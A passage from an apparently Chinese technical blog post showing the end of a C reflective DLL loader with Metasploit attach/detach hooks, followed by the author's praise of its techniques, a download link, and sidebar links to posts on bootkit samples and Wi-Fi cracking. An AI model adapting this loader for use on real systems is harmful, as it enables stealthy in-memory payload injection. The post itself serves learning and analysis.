- dwValueC = ( dwBaseAddress + ((PIMAGE_DATA_DIRECTORY)dwValueB)->VirtualAddress );
- // and we itterate through all entries...
- while( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock )
- {
- // dwValueA = the VA for this relocation block
- dwValueA = ( dwBaseAddress + ((PIMAGE_BASE_RELOCATION)dwValueC)->VirtualAddress );
- // dwValueB = number of entries in this relocation block
- dwValueB = ( ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
- // dwValueD is now the first entry in the current relocation block
- dwValueD = dwValueC + sizeof(IMAGE_BASE_RELOCATION);
- // we itterate through all the entries in the current block...
- while( dwValueB-- )
- {
- // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required
- switch( ((PIMAGE_RELOC)dwValueD)->type )
- {
- case IMAGE_REL_BASED_HIGHLOW:
- *(DWORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += dwLibraryAddress;
- break;
- case IMAGE_REL_BASED_HIGH:
- *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += HIWORD(dwLibraryAddress);
- break;
- case IMAGE_REL_BASED_LOW:
- *(WORD *)(dwValueA + ((PIMAGE_RELOC)dwValueD)->offset) += LOWORD(dwLibraryAddress);
- break;
- //case IMAGE_REL_BASED_HIGHADJ:
- // break;
- default:
- break;
- }
- // get the next entry in the current relocation block
- dwValueD += sizeof( IMAGE_RELOC );
- }
- // get the next entry in the relocation directory
- dwValueC = dwValueC + ((PIMAGE_BASE_RELOCATION)dwValueC)->SizeOfBlock;
- }
- }
- // STEP 6: call our images entry point
- // dwValueA = the VA of our newly loaded DLL's entry point
- dwValueA = ( dwBaseAddress + ((PIMAGE_NT_HEADERS32)dwHeaderValue)->OptionalHeader.AddressOfEntryPoint );
- // call our DLLMain(), fudging our hinstDLL value
- ((DLLMAIN)dwValueA)( (HINSTANCE)dwBaseAddress, DLL_PROCESS_ATTACH, NULL );
- // STEP 7: return our new DllMain address so whatever called us can call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH
- return (DWORD)dwValueA;
- }
- //===============================================================================================//
- BOOL MetasploitDllAttach( SOCKET socket )
- {
- Init( socket );
- return TRUE;
- }
- //===============================================================================================//
- BOOL MetasploitDllDetach( DWORD dwExitFunc )
- {
- switch( dwExitFunc )
- {
- case EXITFUNC_SEH:
- SetUnhandledExceptionFilter( NULL );
- break;
- case EXITFUNC_THREAD:
- ExitThread( 0 );
- break;
- case EXITFUNC_PROCESS:
- ExitProcess( 0 );
- break;
- default:
- break;
- }
- return TRUE;
- }
- //===============================================================================================//
- BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
- {
- BOOL bReturnValue = TRUE;
- switch( dwReason )
- {
- case DLL_METASPLOIT_ATTACH:
- bReturnValue = MetasploitDllAttach( (SOCKET)lpReserved );
- break;
- case DLL_METASPLOIT_DETACH:
- bReturnValue = MetasploitDllDetach( (DWORD)lpReserved );
- break;
- case DLL_PROCESS_ATTACH:
- hAppInstance = hinstDLL;
- break;
- case DLL_PROCESS_DETACH:
- case DLL_THREAD_ATTACH:
- case DLL_THREAD_DETACH:
- break;
- }
- return bReturnValue;
- }
- //===============================================================================================//
我待会把paper和代码都上传到我的资源里面,有爱的同学自己去下载吧~
代码里面用到了各种经典方法,如hash,api定位等,模拟动态加载dll(分区块复制,内存对齐),数据结构的定义绝对可以收藏,对PE文件的高级语言操作都可以学习,还有大爱的内联汇编~~oh~
updated:
资源下载地址:http://download.csdn.net/source/3343721,需要一个资源分,嘿嘿~
updated:
加入对模拟内存加载dll的吐槽.(之前想当然了..我错了)
-
主题推荐
- 数据结构 source code processing migration 印度
-
猜你在找
- 强大的反射功能动态创建调用dll
- 动态gif图片在html中显示拖影
- 利用ida对程序的静态链接库进行处理转
- RAII惯用法C++资源管理的利器
- applyElement方法
- Chrome新扩展Firebug Chrome版
- 逆向 C++-- 2 识别类
- Chromium源代码结构
- 如何检测当前操作系统是64位还是32位
- 解析文件目录树
核心技术类目
- 个人资料
-
- 访问:105763次
- 积分:1576
- 等级:
- 排名:第11174名
- 原创:38篇
- 转载:0篇
- 译文:2篇
- 评论:185条
- 文章搜索
- 阅读排行
- SVN:checksum mismatch的解决方案(8796)
- 关于感染型病毒的那些事(一)(5401)
- 鬼影3样本ASM2C(mb.exe + hello_tt.sys)(5397)
- 深入理解Aireplay-ng各种攻击及其原理(4915)
- 鬼影3样本Mbr之后保护模式代码详细注释(最精华的地方啦)(4590)
- GCC4.7.0库里的shared_ptr,weak_ptr和unique_ptr的简单讲解(抛砖求玉,有图有真相)(4192)
- 鬼影3样本MBR详细注释(好吧,继续友情赠送磁盘布局..)(4086)
- 关于Stoned Bootkit v2编译和Bochs调试软盘MBR的吐槽(伤不起啊..)(3865)
- Reviwe:深入WEP密码破解原理(3602)
- SSDT获取原始服务地址的方法与原理(灯灯灯灯,我肥来了..)(3554)
- 推荐文章
- 最新评论
- CRUX2.6安装经验--蛋疼的第一次内核编译
dama677409:14师弟跪谢!
- CRUX2.6安装经验--蛋疼的第一次内核编译
daoiist:14级师弟也来膜拜
- [HowTo]BackTrack5-R2上编译GCC4.7.0编译器(大家一起来学C++11)
役心:/usr/local/lib里面就没有东西
- CRUX2.6安装经验--蛋疼的第一次内核编译
zlinsc001:13级师弟前来膜拜
- 我对C++11内存模型的一点理解(附面经)
zhuobattle:每个线程有独立的调用栈、寄存器环境和线程本地存储。如何会出现楼主所说的问题?
- 深入理解Aireplay-ng各种攻击及其原理
tutulove1234:很幸运能看到你的博客,我觉得,我有了一个标杆了!
- 那短短几百米的距离,我用了3年的时间来走完(非技术贴)
knight3090:励志哥啊!
- Reviwe:深入WEP密码破解原理
hansir:有个疑问:keystream可以通过0xAA和密文第一个字节异或得到,通过keystream=Z=j...
- 那短短几百米的距离,我用了3年的时间来走完(非技术贴)
Jtihom:博主,看了一下你的文章,对我有很大帮助。因为我也是现在才决定要考研,什么都还没准备。也是想考华工。我...
- 那短短几百米的距离,我用了3年的时间来走完(非技术贴)
从技术走向管理:很少回帖,不知不觉中看到这篇文章,真的有点想哭的冲动。偶自认为悲催,没想到楼主的故事更为曲折,并且楼...
暂无评论